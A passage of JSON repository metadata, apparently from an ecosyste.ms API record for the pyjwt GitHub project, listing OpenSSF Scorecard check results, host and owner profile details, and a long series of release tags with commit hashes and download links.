.github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","d